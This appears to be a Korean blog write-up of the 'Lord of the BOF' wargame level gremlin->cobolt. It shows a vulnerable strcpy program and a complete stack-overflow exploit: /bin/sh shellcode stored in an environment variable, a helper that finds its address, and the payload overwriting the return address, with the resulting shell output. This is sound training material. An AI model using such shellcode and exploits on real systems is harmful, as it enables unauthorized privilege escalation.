ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL2] (gremlin -> cobolt) : small buffer
    Wargame/LordOfTheBof (redhat) 2013. 6. 26. 11:09

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - cobolt
            - small buffer
    */
    
    int main(int argc, char *argv[])
    {
        char buffer[16];
        if(argc < 2){
            printf("argv error\n");
            exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
    }

    이전 문제와 달라진 점은 buffer의 사이즈이다. 256 Byte에서 16 Byte로 어마어마하게 줄어버렸다.

    buffer에 shellcode를 넣기에는 사이즈가 너무 적으니 환경변수를 이용하자.


    2. 환경변수에 shellcode 삽입

     export 명령어로 환경변수에 shellcode를 삽입하고 env로 확인한다.

    [gremlin@localhost gremlin]$ export SHELLCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')

    [gremlin@localhost gremlin]$ env

    PWD=/home/gremlin

    REMOTEHOST=192.168.58.131

    HOSTNAME=localhost.localdomain

    LESSOPEN=|/usr/bin/lesspipe.sh %s

    USER=gremlin

    LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:

    MACHTYPE=i386-redhat-linux-gnu

    MAIL=/var/spool/mail/gremlin

    INPUTRC=/etc/inputrc

    SHELLCODE=1�Ph//shh/bin��PS�ᙰ

    export - 환경 변수를 지정, 변경하거나 현재 정의되어 있는 환경 변수를 보여주는 명령이다.

    env - 현재 설정되어있는 환경변수를 보여준다.


    shellcode가 정상적으로 삽입되었음을 확인하였다. 이제 shellcode가 삽입된 환경변수의 주소를 찾자.

    아래는 C소스를 이용하자.

    int main()
    {
    	printf("%p\n", getenv("SHELLCODE"));
    	return 0;
    }


    컴파일 후 실행하면 shellcode가 있는 환경변수의 주소를 알아낼 수 있다.

    [gremlin@localhost gremlin]$ gcc -o getenv getenv.c

    [gremlin@localhost gremlin]$ ./getenv 

    0xbffffecd


    이제 알아낸 shellcode 주소로 ret를 변경하자.


    3. Exploit

    16 Byte의 buffer와 4 Byte의 SFP를 덮고 RET를 shellcode가 있는 환경변수의 주소로 덮는다.

    buffer 

    SFP 

    RET 

     16 Byte

    4 Byte 

    4 Byte 

     AAAAAAAAAAAAAAAA

    BBBB 

    \xcd\xfe\xff\xbf 

    [gremlin@localhost gremlin]$ ./cobolt `python -c "print 'A'*16 + 'BBBB' + '\xcd\xfe\xff\xbf'"`

    AAAAAAAAAAAAAAAABBBB����

    bash$ my-pass

    euid = 502

    hacking exposed


    성공 !


Designed by Tistory.